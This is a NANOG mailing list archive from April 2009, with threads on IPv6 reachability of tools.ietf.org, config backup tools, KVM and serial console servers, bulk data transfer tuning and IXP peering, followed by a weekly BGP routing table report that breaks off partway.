From jbates at brightok.net Fri Apr 24 07:45:10 2009 From: jbates at brightok.net (Jack Bates) Date: Fri, 24 Apr 2009 07:45:10 -0500 Subject: Problems reaching tools.ietf.org? Message-ID: <49F1B456.5030502@brightok.net> Anyone seeing issues with reachability for tools.ietf.org in IPv6? v4 works fine for me, but oh, the timeouts. :( Tracing the route to tools.ietf.org (2001:1890:1112:1:214:22FF:FE1F:1E54) 1 bnet6-2.tunnel.tserv2.fmt.ipv6.he.net (2001:470:1F03:1031::1) 64 msec 64 msec 64 msec 2 1g-3-9.core1.fmt1.ipv6.he.net (2001:470:0:44::3) 76 msec 72 msec 76 msec 3 10gigabitethernet1-1.core1.pao1.he.net (2001:470:0:2E::2) 64 msec 64 msec 64 msec 4 10gigabitethernet2-4.core1.ash1.he.net (2001:470:0:35::2) 144 msec 140 msec 140 msec 5 ibr01-ve96.asbn01.occaid.net (2001:504:0:2:0:3:71:1) 140 msec 140 msec 140 msec 6 r1.flpnj.ipv6.att.net (2001:4830:E2:2B::2) 148 msec 148 msec 148 msec 7 2001:1890:61:9117::2 224 msec 228 msec 224 msec 8 2001:1890:61:9117::2 !H * * From tme at multicasttech.com Fri Apr 24 07:46:54 2009 From: tme at multicasttech.com (Marshall Eubanks) Date: Fri, 24 Apr 2009 08:46:54 -0400 Subject: NAT64/NAT-PT update in IETF, was: Re: Important New Requirement for IPv4 Requests [re"impacting revenue"] In-Reply-To: <620036540.1581621240500704110.JavaMail.root@crono> References: <620036540.1581621240500704110.JavaMail.root@crono> Message-ID: On Apr 23, 2009, at 11:31 AM, Manish Karir wrote: > > > Would there be interest in trying to organize a day long > mini-nanog with the ietf in March 2010? > The regular nanog mtg is scheduled for Feb 22 2010 so this > would have to be an extra meeting. and would require all > sorts of help and interest from the ietf to put together. > Perhaps the NANOG SC can try to figure out if there is > sufficient interest in this and what this should consist > of? People probably know this, but just in case... If there is interest in organizing a joint meeting during an IETF, the person to contact with logistical concerns (getting a room or rooms, etc.) would be the IAD, Ray Pelletier, ; I would also cc the IAOC, . To coordinate technical concerns, I would start with either the IETF Chair, Russ Housley, , or the OPS area ADs, Dan Romascanu and Ron Bonica (see http://www.ietf.org/IESGmems.html ). Regards Marshall > > > -manish > > > > ------- >> * From: Iljitsch van Beijnum >> * Date: Thu Apr 23 10:37:12 2009 >> >> * List-archive: >> * List-help: >> * List-id: North American Network Operators Group >> * List-post: >> * List-subscribe: >> nanog>, >> * List-unsubscribe: >> >, >> >> On 23 apr 2009, at 14:17, Adrian Chadd wrote: >> >> >> Methinks its time a large cabal of network operators should >> represent >> at IETF and make their opinions heard as a collective group. >> That would be how change is brought about in a participative >> organisation, >> no? :) >> >> Why don't you start by simpling stating what you want to have happen? >> >> So far I've seen a number of messages complaining about the IETF >> (btw, if you like complaining about the IETF, go to >the meetings, >> there is significant time set aside for that there) but not a >> single technical request, remark or >observation. >> > >> The IETF works by rough consensus. That means if people disagree, >> nothing much happens. That is annoying. But a lot of >good work >> gets done when people agree, and a lot of the time good technical >> arguments help. >> >> Like I said, the IETF really wants input from operators. Why not >> start by giving some? > > Regards Marshall Eubanks CEO / AmericaFree.TV From nanog at daork.net Fri Apr 24 07:54:37 2009 From: nanog at daork.net (Nathan Ward) Date: Sat, 25 Apr 2009 00:54:37 +1200 Subject: Problems reaching tools.ietf.org? In-Reply-To: <49F1B456.5030502@brightok.net> References: <49F1B456.5030502@brightok.net> Message-ID: On 25/04/2009, at 12:45 AM, Jack Bates wrote: > Anyone seeing issues with reachability for tools.ietf.org in IPv6? > v4 works fine for me, but oh, the timeouts. :( > > Tracing the route to tools.ietf.org (2001:1890:1112:1:214:22FF:FE1F: > 1E54) > > 1 bnet6-2.tunnel.tserv2.fmt.ipv6.he.net (2001:470:1F03:1031::1) 64 > msec 64 msec 64 msec > 2 1g-3-9.core1.fmt1.ipv6.he.net (2001:470:0:44::3) 76 msec 72 msec > 76 msec > 3 10gigabitethernet1-1.core1.pao1.he.net (2001:470:0:2E::2) 64 msec > 64 msec 64 msec > 4 10gigabitethernet2-4.core1.ash1.he.net (2001:470:0:35::2) 144 > msec 140 msec 140 msec > 5 ibr01-ve96.asbn01.occaid.net (2001:504:0:2:0:3:71:1) 140 msec 140 > msec 140 msec > 6 r1.flpnj.ipv6.att.net (2001:4830:E2:2B::2) 148 msec 148 msec 148 > msec > 7 2001:1890:61:9117::2 224 msec 228 msec 224 msec > 8 2001:1890:61:9117::2 !H * * I'm betting you are on 6to4. 6to4 has never worked for me, reaching tools.ietf.org. -- Nathan Ward From nanog-post at rsuc.gweep.net Fri Apr 24 08:10:47 2009 From: nanog-post at rsuc.gweep.net (Joe Provo) Date: Fri, 24 Apr 2009 09:10:47 -0400 Subject: Config Backup / Inventory In-Reply-To: References: Message-ID: <20090424131047.GA73165@gweep.net> On Fri, Apr 24, 2009 at 09:25:05AM +0100, Joshua Eyres wrote: [snip] > I am looking for a bit of advice around configuration backup / inventory. We > currently have a large multi-vendor network which is currently managed > through two separate tools (rancid - http://www.shrubbery.net/rancid and ns4 > - http://www.noodles.org.uk/ns4.html). Both tools do the job very well, but > management have asked that we look for commercial alternatives that have a > proper support organisation looking after them. Since rtrmon waned and rancid waxed (97ish?), I've been a proponent and seen no support issues. Lots of commercial offerings (mostly vendor- specific) have changed or were from companies which folded between then and now. A non-trivial track record speaks volumes. [snip] > things about it. We are looking for a tool which is flexible that allows > configuration backup to textual form for easy restoration as well as the > ability to deploy scripted changes to the network quickly. Sounds like rancid & par to me. :-) Cheers, Joe -- RSUC / GweepNet / Spunk / FnB / Usenix / SAGE From jbates at brightok.net Fri Apr 24 08:14:35 2009 From: jbates at brightok.net (Jack Bates) Date: Fri, 24 Apr 2009 08:14:35 -0500 Subject: Problems reaching tools.ietf.org? In-Reply-To: <49F1B456.5030502@brightok.net> References: <49F1B456.5030502@brightok.net> Message-ID: <49F1BB3B.4000304@brightok.net> Finally hit the office and called someone at random. They are looking into it. I can reach www.ietf.org just fine which is in the same network, so this appears to be host specific. Be funny if the MAC address changed and SLAAC mismatched the host from the AAAA; an annoying problem seen occasionally. Jack Jack Bates wrote: > Anyone seeing issues with reachability for tools.ietf.org in IPv6? v4 > works fine for me, but oh, the timeouts. :( > > Tracing the route to tools.ietf.org (2001:1890:1112:1:214:22FF:FE1F:1E54) > > 1 bnet6-2.tunnel.tserv2.fmt.ipv6.he.net (2001:470:1F03:1031::1) 64 > msec 64 msec 64 msec > 2 1g-3-9.core1.fmt1.ipv6.he.net (2001:470:0:44::3) 76 msec 72 msec 76 > msec > 3 10gigabitethernet1-1.core1.pao1.he.net (2001:470:0:2E::2) 64 msec 64 > msec 64 msec > 4 10gigabitethernet2-4.core1.ash1.he.net (2001:470:0:35::2) 144 msec > 140 msec 140 msec > 5 ibr01-ve96.asbn01.occaid.net (2001:504:0:2:0:3:71:1) 140 msec 140 > msec 140 msec > 6 r1.flpnj.ipv6.att.net (2001:4830:E2:2B::2) 148 msec 148 msec 148 msec > 7 2001:1890:61:9117::2 224 msec 228 msec 224 msec > 8 2001:1890:61:9117::2 !H * * From tme at multicasttech.com Fri Apr 24 08:23:48 2009 From: tme at multicasttech.com (Marshall Eubanks) Date: Fri, 24 Apr 2009 09:23:48 -0400 Subject: Problems reaching tools.ietf.org? In-Reply-To: <49F1BB3B.4000304@brightok.net> References: <49F1B456.5030502@brightok.net> <49F1BB3B.4000304@brightok.net> Message-ID: On Apr 24, 2009, at 9:14 AM, Jack Bates wrote: > Finally hit the office and called someone at random. They are > looking into it. I can reach www.ietf.org just fine which is in the > same network, so this appears to be host specific. Be funny if the > MAC address changed and SLAAC mismatched the host from the AAAA; an > annoying problem seen occasionally. > from http://www.ietf.org/secretariat.html : To report technical problems (e.g., problems related to servers, mailing lists, archives, web tools, etc.) or to offer suggestions: ietf-action at ietf.org Regards Marshall > > Jack > > Jack Bates wrote: >> Anyone seeing issues with reachability for tools.ietf.org in IPv6? >> v4 works fine for me, but oh, the timeouts. :( >> Tracing the route to tools.ietf.org (2001:1890:1112:1:214:22FF:FE1F: >> 1E54) >> 1 bnet6-2.tunnel.tserv2.fmt.ipv6.he.net (2001:470:1F03:1031::1) 64 >> msec 64 msec 64 msec >> 2 1g-3-9.core1.fmt1.ipv6.he.net (2001:470:0:44::3) 76 msec 72 msec >> 76 msec >> 3 10gigabitethernet1-1.core1.pao1.he.net (2001:470:0:2E::2) 64 msec >> 64 msec 64 msec >> 4 10gigabitethernet2-4.core1.ash1.he.net (2001:470:0:35::2) 144 >> msec 140 msec 140 msec >> 5 ibr01-ve96.asbn01.occaid.net (2001:504:0:2:0:3:71:1) 140 msec 140 >> msec 140 msec >> 6 r1.flpnj.ipv6.att.net (2001:4830:E2:2B::2) 148 msec 148 msec 148 >> msec >> 7 2001:1890:61:9117::2 224 msec 228 msec 224 msec >> 8 2001:1890:61:9117::2 !H * * > > Regards Marshall Eubanks CEO / AmericaFree.TV From jon at defenderhosting.com Fri Apr 24 08:46:18 2009 From: jon at defenderhosting.com (Jon Wolberg) Date: Fri, 24 Apr 2009 09:46:18 -0400 (EDT) Subject: Config Backup / Inventory In-Reply-To: <1597131732.1678971240580701062.JavaMail.root@mail.dtgmail.com> Message-ID: <1051208177.1679051240580778312.JavaMail.root@mail.dtgmail.com> Check out HyperConf http://www.winagents.com/en/products/hyperconf/ It does multi-vendor device backups as well as a scripting function to blow out mass changes to devices. They are also pretty easy to work with to enable new devices if you want them. The licensing is somewhat reasonable. Jon Wolberg Operations Manager PowerVPS / Defender Hosting Defender Technologies Group, LLC. ----- Original Message ----- From: "Joshua Eyres" To: nanog at nanog.org Sent: Friday, April 24, 2009 4:25:05 AM GMT -05:00 US/Canada Eastern Subject: Config Backup / Inventory Hi, I am looking for a bit of advice around configuration backup / inventory. We currently have a large multi-vendor network which is currently managed through two separate tools (rancid - http://www.shrubbery.net/rancid and ns4 - http://www.noodles.org.uk/ns4.html). Both tools do the job very well, but management have asked that we look for commercial alternatives that have a proper support organisation looking after them. IP Service Activator has been mentioned as something which can fit this role, but I haven't had any experience and I haven't heard a lot of good things about it. We are looking for a tool which is flexible that allows configuration backup to textual form for easy restoration as well as the ability to deploy scripted changes to the network quickly. Do people generally use free tools for network management or are there viable commercial alternatives? Thanks, Josh From frnkblk at iname.com Fri Apr 24 09:27:03 2009 From: frnkblk at iname.com (Frank Bulk) Date: Fri, 24 Apr 2009 09:27:03 -0500 Subject: Broadband Subscriber Management In-Reply-To: <49F1AD68.1000403@xyonet.com> References: <49EF3F5D.6060604@xyonet.com> <200904221107.42362.lesmith@ecsis.net> <49F030A1.7040905@cirruscomms.com.au> <49F1AD68.1000403@xyonet.com> Message-ID: So what were you doing than, RFC 1483? Frank -----Original Message----- From: Curtis Maurand [mailto:cmaurand at xyonet.com] Sent: Friday, April 24, 2009 7:16 AM To: Frank Bulk Cc: 'William McCall'; nanog at nanog.org Subject: Re: Broadband Subscriber Management Way back when Verizon first started rolling out DSL, we at a small ISP looked to wholesale ports from them via a deal they were offering. The were simply delivering PVC's to us via ATM on a DS3. 1 for each customer. They were doing the rate limiting based on what we ordered. I was able to use a lucent DSL aggregator for the handoff to our network. PPPoE wasn't necessary. --Curtis Frank Bulk wrote: > I wasn't aware that LECs have the money to provide a DSLAM port per pair. =) > PPPoA/E wasn't invented to prevent DSL sharing (not possible), but was the > result of extending the dial-up approach of PPP with usernames and passwords > to provide end-users IP connectivity. As Arie mentions in his posting, the > separation of physical link termination and session termination, done in the > dial-up world at the time, lent to setting up DSL in the same manner. > > You don't have to read too many commentaries on IRB & RFC 1483 to recognize > that that approach is all that great, either. > > Frank > > -----Original Message----- > From: William McCall [mailto:william.mccall at gmail.com] > Sent: Thursday, April 23, 2009 7:24 AM > To: nanog at nanog.org > Subject: Re: Broadband Subscriber Management > > My understanding of the PPPoA/E deal is that SPs (originally) wanted to > prevent some yahoo with a DSL modem from just being able to hook in to > someone's existing DSL connection and using it, so they decided to > implemement PPPoA and require some sort of authentication to prevent this > scenario. > > > > > From Skywing at valhallalegends.com Fri Apr 24 10:55:07 2009 From: Skywing at valhallalegends.com (Skywing) Date: Fri, 24 Apr 2009 10:55:07 -0500 Subject: Important New Requirement for IPv4 Requests Message-ID: <982D8D05B6407A49AD506E6C3AC8E7D6E518A1FEA2@caralain.haven.nynaeve.net> Of course, sftp and other ssh-based protocols are *still* hamstrung to a maximum of 32k data outstanding due to hardcoded SSH channel window sizes by default for most people, unless you're patching up both your clients and servers. Sadly, this blows ssh out of the water for anything with even modest high-bitrate requirements over moderate-BDP links. - S -----Original Message----- From: Jo Rhett Sent: Thursday, April 23, 2009 23:27 To: Joe Greco Cc: bmanning at vacation.karoshi.com ; nanog at nanog.org Subject: Re: Important New Requirement for IPv4 Requests On Apr 22, 2009, at 7:42 AM, Joe Greco wrote: > While HTTP remains popular as a way to interact with humans, > especially if > you want to try to do redirects, acknowledge license agreements, > etc., FTP > is the file transfer protocol of choice for basic file transfer Speak for yourself. I haven't used FTP to transfer files in 10 years now. About 7 years ago I turned off FTP support for all of our webhosting clients, and forced them to use SFTP. 3 left, for a net loss of $45/month. And we stopped having to deal with the massive undertaking that supporting FTP properly chrooted and capable of dealing with all parts of the multi-mount web platform required. We've never looked back. Ever once in a while I find someone who's offering a file I want only via FTP, and I chide them and they fix it ;-) -- Jo Rhett Net Consonance : consonant endings by net philanthropy, open source and other randomness From oberman at es.net Fri Apr 24 11:29:10 2009 From: oberman at es.net (Kevin Oberman) Date: Fri, 24 Apr 2009 09:29:10 -0700 Subject: Important New Requirement for IPv4 Requests In-Reply-To: Your message of "Fri, 24 Apr 2009 19:05:26 +1200." <49F164B6.9070109@coders.net> Message-ID: <20090424162910.51A5C1CC50@ptavv.es.net> > Date: Fri, 24 Apr 2009 19:05:26 +1200 > From: Perry Lorier > > > > > > > > Large data sets? So you are saying that 512-byte packets with no > > windowing work better? Bill, have you measured this? > > > > Time to download a 100mb file over HTTP and a 100mb interface: 20 > > seconds. > > Time to download a 100mb file over FTP and a 100mb interface: ~7 minutes. > > > > And yes, that was FreeBSD with the old version openssl library that > > shipped with 6.3. > > > > As someone who copies large network trace files around a bit, 100MB at > 100mb, over what I presume is a local (low latency) link is barely a > fair test. Many popular web servers choke on serving files >2GB or >4GB > in size (Sigh). I'm in New Zealand. It's usually at least 150ms to > anywhere, often 300ms, so I feel the pain of small window sizes in > popular encryption programs very strongly. Transferring data over high > speed research networks means receive windows of at least 2MB, usually > more. When popular programs provide their own window of 64kB, things > get very slow. Very few people (including some on this list) have much idea of the difficulty in moving large volumes of data between continents, especially between the Pacific (China, NZ, Australia, Japan, ...) and either Europe or North America. Getting TCP bandwidth over about 1Gbps is very difficult. Getting over 5G is nearly impossible. I can get 5Gbps pretty reliably with tuned end systems over a 100 ms. RTT, but that drops to about 2G at 200 ms. A good web site to read a bout getting fast bulk data transfers is: http://fasterdata.es.net It is aimed at DOE and DOE related researchers, but the information is valid for anyone needing to move data on a Terabyte or greater scale over long distances. We move a LOT of data between our facilities at FermiLab in Chicago and Brookhaven in New York and CERN in Europe. A Terabyte is just the opener for that data. Also, if you see anything that needs improvement or correction, please let me know. -- R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman at es.net Phone: +1 510 486-8634 Key fingerprint:059B 2DDF 031C 9BA3 14A4 EADA 927D EBB3 987B 3751 From sronan at fattoc.com Fri Apr 24 11:59:49 2009 From: sronan at fattoc.com (Shane Ronan) Date: Fri, 24 Apr 2009 09:59:49 -0700 Subject: Config Backup / Inventory In-Reply-To: <20090424131047.GA73165@gweep.net> References: <20090424131047.GA73165@gweep.net> Message-ID: >> Sounds like rancid & par to me. :-) Par? From owen at delong.com Fri Apr 24 11:52:01 2009 From: owen at delong.com (Owen DeLong) Date: Fri, 24 Apr 2009 09:52:01 -0700 Subject: integrated KVMoIP and serial console terminal server In-Reply-To: <1480BA76-4D32-4F82-8C45-9DBF3D4CDB5F@hopcount.ca> References: <1480BA76-4D32-4F82-8C45-9DBF3D4CDB5F@hopcount.ca> Message-ID: <9757D73F-B026-4D4E-A84F-46EB395934C9@delong.com> I haven't really found a combo unit I like as yet. For KVM, I like the Raritan products. For Serial, I prefer the Avocent line. Owen On Apr 23, 2009, at 3:17 PM, Joe Abley wrote: > Hi all, > > What is everybody's favourite combination rack-mount VGA/USB KVM- > over-IP and serial console concentrator in 2009? > > I'm looking for something that will accommodate 8 or so 9600bps > serial devices and about 12 VGA/USB devices, all reachable over IP > via sane means (ssh, https, etc). Being able to trunk everything > through cat5E/RJ45 plant is not necessary; in this application > everything is in the same cabinet. > > Avocent seem to make a likely-looking box, but (a) it's a bit > insanely expensive, and (b) the adapters that you connect using RJ45 > to the avocent and via RS232 to the serial devices *each seem to > require a power supply* which frankly makes me recoil in horror. > Perhaps I mis-read the glossy web page. > > Advice would be appreciated; direct mail is fine; I can summarise > back to the list if there is interest in me doing so. > > > Joe -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 2105 bytes Desc: not available URL: From stuart at tech.org Fri Apr 24 12:06:15 2009 From: stuart at tech.org (Stephen Stuart) Date: Fri, 24 Apr 2009 17:06:15 +0000 Subject: IXP In-Reply-To: Your message of "Fri, 24 Apr 2009 00:03:43 MST." <49F1644F.5010903@he.net> Message-ID: <200904241706.n3OH6FeI047209@nb.tech.org> > We got to go through all the badness that was the ATM NAPs (AADS, > PacBell NAP, MAE-WEST ATM). > > I think exactly for the reason Leo mentions they failed. That is, it > didn't even require people to figure out all the technical reasons they > were bad (many), they were fundamentally doomed due to increasing the > difficulty of peering which translated to an economic scaling problem. > > i.e. if you make it hard for people to peer then you end up with less > peers and shared vlan exchanges based on things like ethernet outcompete > you. > > Been there done that. > > We've already experienced the result of secure ID cards and the > PeerMaker tool. It was like pulling teeth to get sessions setup, and > most peers plus the exchange operator didn't believe in oversubscription > (can you say CBR? I knew you could), so you end up with 2 year old > bandwidth allocations cast in stone because it was such a pain to get > the peer to set it up in the first place, and to increase bandwidth to > you means your peer has to reduce the bandwidth they allocated to > somebody else. I, too, had a SecureID card, whose PIN I promptly forgot. I actually feel sorry for the poor software developers of that system; who knows what "requirements" were imposed on them by management fiat versus researched from the customer (and potential customer) base? Ethernet != shared VLAN, as I'm sure you know, so equating the two is non-sequitur. Ethernet has grown enough features that it can be used effectively in a variety of ways - and knowing which features to avoid is just as important as knowing which features to expose. "Not every knob that can be turned, should be turned." The challenge to a developer of the software infrastructure of a modern IXP is to take what we learned about the ease of use of shared VLAN peering and translate it into the world of pseudo-wire interconnect. Does it have to be as hard as PeerMaker? Clearly not. If someone is going to jump into that space, though, there's a lot of homework to do to research what a provisioning system would need to do to present as little a barrier to peering as possible. Your argument, and Leo's, is fundamentally the complacency argument that I pointed out earlier. You're content with how things are, despite the failure modes, and despite inefficiencies that the IXP operator is forced to have in *their* business model because of your complacency. From jpleger at gmail.com Fri Apr 24 12:23:18 2009 From: jpleger at gmail.com (James Pleger) Date: Fri, 24 Apr 2009 10:23:18 -0700 Subject: integrated KVMoIP and serial console terminal server In-Reply-To: <9757D73F-B026-4D4E-A84F-46EB395934C9@delong.com> References: <1480BA76-4D32-4F82-8C45-9DBF3D4CDB5F@hopcount.ca> <9757D73F-B026-4D4E-A84F-46EB395934C9@delong.com> Message-ID: I have had good luck with Digi console managers for serial... I think they have some KVM functionality, but I don't know how well that works as I have only used the serial management. http://www.digi.com/products/consoleservers/ Regards, James Pleger e: jpleger at gmail.com g: http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x9D7141C9 On Apr 24, 2009, at 9:52 AM, Owen DeLong wrote: > I haven't really found a combo unit I like as yet. > > For KVM, I like the Raritan products. > For Serial, I prefer the Avocent line. > > Owen > > On Apr 23, 2009, at 3:17 PM, Joe Abley wrote: > >> Hi all, >> >> What is everybody's favourite combination rack-mount VGA/USB KVM- >> over-IP and serial console concentrator in 2009? >> >> I'm looking for something that will accommodate 8 or so 9600bps >> serial devices and about 12 VGA/USB devices, all reachable over IP >> via sane means (ssh, https, etc). Being able to trunk everything >> through cat5E/RJ45 plant is not necessary; in this application >> everything is in the same cabinet. >> >> Avocent seem to make a likely-looking box, but (a) it's a bit >> insanely expensive, and (b) the adapters that you connect using >> RJ45 to the avocent and via RS232 to the serial devices *each seem >> to require a power supply* which frankly makes me recoil in horror. >> Perhaps I mis-read the glossy web page. >> >> Advice would be appreciated; direct mail is fine; I can summarise >> back to the list if there is interest in me doing so. >> >> >> Joe > -------------- next part -------------- A non-text attachment was scrubbed... Name: PGP.sig Type: application/pgp-signature Size: 194 bytes Desc: This is a digitally signed message part URL: From dholmes at mwdh2o.com Fri Apr 24 12:40:05 2009 From: dholmes at mwdh2o.com (Holmes,David A) Date: Fri, 24 Apr 2009 10:40:05 -0700 Subject: integrated KVMoIP and serial console terminal server In-Reply-To: <9757D73F-B026-4D4E-A84F-46EB395934C9@delong.com> References: <1480BA76-4D32-4F82-8C45-9DBF3D4CDB5F@hopcount.ca> <9757D73F-B026-4D4E-A84F-46EB395934C9@delong.com> Message-ID: <485ED9BA02629E4BBBA53AC892EDA50E08C660A4@usmsxt104.mwd.h2o> We have just implemented Avocent console and power concentrators. Console servers are reachable via a highly customizable web interface. The Avocent software can also be virtualized on VMWare. Console connectivity can be provisioned to first try SSH via the IP network, and automatically failover to a dial-up modem connection if the network is down. For power both AC and DC power supplies are supported. With DC the battery plant main fuse panel connects to the device that is used to power cycle the electronic equipment using low amperage "grasshopper" fuses for each device. I believe that Avocent is the only vendor with DC power-cycle support. The serial cables for the device consoles do not require power supplies as indicated below. -----Original Message----- From: Owen DeLong [mailto:owen at delong.com] Sent: Friday, April 24, 2009 9:52 AM To: Joe Abley Cc: NANOG list Subject: Re: integrated KVMoIP and serial console terminal server I haven't really found a combo unit I like as yet. For KVM, I like the Raritan products. For Serial, I prefer the Avocent line. Owen On Apr 23, 2009, at 3:17 PM, Joe Abley wrote: > Hi all, > > What is everybody's favourite combination rack-mount VGA/USB KVM- > over-IP and serial console concentrator in 2009? > > I'm looking for something that will accommodate 8 or so 9600bps > serial devices and about 12 VGA/USB devices, all reachable over IP > via sane means (ssh, https, etc). Being able to trunk everything > through cat5E/RJ45 plant is not necessary; in this application > everything is in the same cabinet. > > Avocent seem to make a likely-looking box, but (a) it's a bit > insanely expensive, and (b) the adapters that you connect using RJ45 > to the avocent and via RS232 to the serial devices *each seem to > require a power supply* which frankly makes me recoil in horror. > Perhaps I mis-read the glossy web page. > > Advice would be appreciated; direct mail is fine; I can summarise > back to the list if there is interest in me doing so. > > > Joe From martin at theicelandguy.com Fri Apr 24 12:55:14 2009 From: martin at theicelandguy.com (Martin Hannigan) Date: Fri, 24 Apr 2009 13:55:14 -0400 Subject: integrated KVMoIP and serial console terminal server In-Reply-To: <1480BA76-4D32-4F82-8C45-9DBF3D4CDB5F@hopcount.ca> References: <1480BA76-4D32-4F82-8C45-9DBF3D4CDB5F@hopcount.ca> Message-ID: Have you considered VM's for remote OS access to win devices and eliminating vga/kb requirements? If you are looking for console uptime and ease of use, avoid anything with moving parts (disk) and go with cisco. Consider the secondary market for the concentrator and cards to keep costs very low. Alternatively, I like MRV. Console will work fine over cat5, but if your cabinet is going to be 'busy' you should consider going shielded. Cisco asynch octo cables are shielded iirc, but I prefer in cabinet xcon for ease of use so if that's your technique too shield the xcon. You won't regret it. Best, Martin On 4/23/09, Joe Abley wrote: > Hi all, > > What is everybody's favourite combination rack-mount VGA/USB KVM-over- > IP and serial console concentrator in 2009? > > I'm looking for something that will accommodate 8 or so 9600bps serial > devices and about 12 VGA/USB devices, all reachable over IP via sane > means (ssh, https, etc). Being able to trunk everything through cat5E/ > RJ45 plant is not necessary; in this application everything is in the > same cabinet. > > Avocent seem to make a likely-looking box, but (a) it's a bit insanely > expensive, and (b) the adapters that you connect using RJ45 to the > avocent and via RS232 to the serial devices *each seem to require a > power supply* which frankly makes me recoil in horror. Perhaps I mis- > read the glossy web page. > > Advice would be appreciated; direct mail is fine; I can summarise back > to the list if there is interest in me doing so. > > > Joe > > -- Martin Hannigan martin at theicelandguy.com p: +16178216079 Power, Network, and Costs Consulting for Iceland Datacenters and Occupants From cscora at apnic.net Fri Apr 24 13:14:48 2009 From: cscora at apnic.net (Routing Analysis Role Account) Date: Sat, 25 Apr 2009 04:14:48 +1000 (EST) Subject: Weekly Routing Table Report Message-ID: <200904241814.n3OIEm8w015187@thyme.apnic.net> This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. Daily listings are sent to bgp-stats at lists.apnic.net For historical data, please see http://thyme.apnic.net. If you have any comments please contact Philip Smith . Routing Table Report 04:00 +10GMT Sat 25 Apr, 2009 Report Website: http://thyme.apnic.net Detailed Analysis: http://thyme.apnic.net/current/ Analysis Summary ---------------- BGP routing table entries examined: 286265 Prefixes after maximum aggregation: 135384 Deaggregation factor: 2.11 Unique aggregates announced to Internet: 141034 Total ASes present in the Internet Routing Table: 31102 Prefixes per ASN: 9.20 Origin-only ASes present in the Internet Routing Table: 27064 Origin ASes announcing only one prefix: 13174 Transit ASes present in the Internet Routing Table: 4038 Transit-only ASes present in the Internet Routing Table: 94 Average AS path length visible in the Internet Routing Table: 3.6 Max AS path length visible: 33 Max AS path prepend of ASN (43683) 31 Prefixes from unregistered ASNs in the Routing Table: 456 Unregistered ASNs in the Routing Table: 152 Number of 32-bit ASNs allocated by the RIRs: 141 Prefixes from 32-bit ASNs in the Routing Table: 25 Special use prefixes present in the Routing Table: 0 Prefixes being announced from unallocated address space: 208 Number of addresses announced to Internet: 2035527744 Equivalent to 121 /8s, 83 /16s and 176 /24s Percentage of available address space announced: 54.9 Percentage of allocated address space announced: 64.2 Percentage of available address space allocated: 85.5 Percentage of address space in use by end-sites: 76.5 Total number of prefixes smaller than registry allocations: 141104 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 66477 Total APNIC prefixes after maximum aggregation: 23664 APNIC Deaggregation factor: 2.81 Prefixes being announced from the APNIC address blocks: 63236 Unique aggregates announced from the APNIC address blocks: 28895 APNIC Region origin ASes present in the Internet Routing Table: 3607 APNIC Prefixes per ASN: 17.53 APNIC Region origin ASes announcing only one prefix: 974 APNIC Region transit ASes present in the Internet Routing Table: 548 Average APNIC Region AS path length visible: 3.5 Max APNIC Region AS path length visible: 18 Number of APNIC addresses announced to Internet: 411598112 Equivalent to 24 /8s, 136 /16s and 125 /24s Percentage of available APNIC address space announced: 81.8 APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911, 45056-46079 APNIC Address Blocks 58/8, 59/8, 60/8, 61/8, 110/8, 111/8, 112/8, 113/8, 114/8, 115/8, 116/8, 117/8, 118/8, 119/8, 120/8, 121/8, 122/8, 123/8, 124/8, 125/8, 126/8, 202/8, 203/8, 210/8, 211/8, 218/8, 219/8, 220/8, 221/8, 222/8, ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 124769 Total ARIN prefixes after maximum aggregation: 65935 ARIN Deaggregation factor: 1.89 Prefixes being announced from the ARIN address blocks: 93936 Unique aggregates announced from the ARIN address blocks: 36650 ARIN Region origin ASes present in the Internet Routing Table: 12944 ARIN Prefixes per ASN: 7.26 ARIN Region origin ASes announcing only one prefix: 4998 ARIN Region transit ASes present in the Internet Routing Table: 1253 Average ARIN Region AS path length visible: 3.3 Max ARIN Region AS path length visible: 24 Number of ARIN addresses announced to Internet: 427360000 Equivalent to 25 /8s, 120 /16s and 255 /24s Percentage of available ARIN address space announced: 82.2 ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863, 39936-40959, 46080-47103 53248-55295 ARIN Address Blocks 24/8, 63/8, 64/8, 65/8, 66/8, 67/8, 68/8, 69/8, 70/8, 71/8, 72/8, 73/8, 74/8, 75/8, 76/8, 96/8, 97/8, 98/8, 99/8, 108/8, 173/8, 174/8, 184/8, 199/8, 204/8, 205/8, 206/8, 207/8, 208/8, 209/8, 216/8, RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 65947 Total RIPE prefixes after maximum aggregation: 38185 RIPE Deaggregation factor: 1.73 Prefixes being announced from the RIPE address blocks: 60269 Unique aggregates announced from the RIPE address blocks: 40136 RIPE Region origin ASes present in the Internet Routing Table: 12930 RIPE Prefixes per ASN: 4.66 RIPE Region origin ASes announcing only one prefix: 6763 RIPE Region transit ASes present in the Internet Routing Table: 1952 Average RIPE Region AS path length visible: 4.0 Max RIPE Region AS path length visible: 33 Number of RIPE addresses announced to Internet: 393057312 Equivalent to 23 /8s, 109 /16s and 148 /24s Percentage of available RIPE address space announced: 83.7 RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 40960-45055, 47104-52223 RIPE Address Blocks 62/8, 77/8, 78/8, 79/8, 80/8, 81/8, 82/8, 83/8, 84/8, 85/8, 86/8, 87/8, 88/8, 89/8, 90/8, 91/8, 92/8, 93/8, 94/8, 95/8, 109/8, 178/8, 193/8, 194/8, 195/8, 212/8, 213/8, 217/8, LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 23764 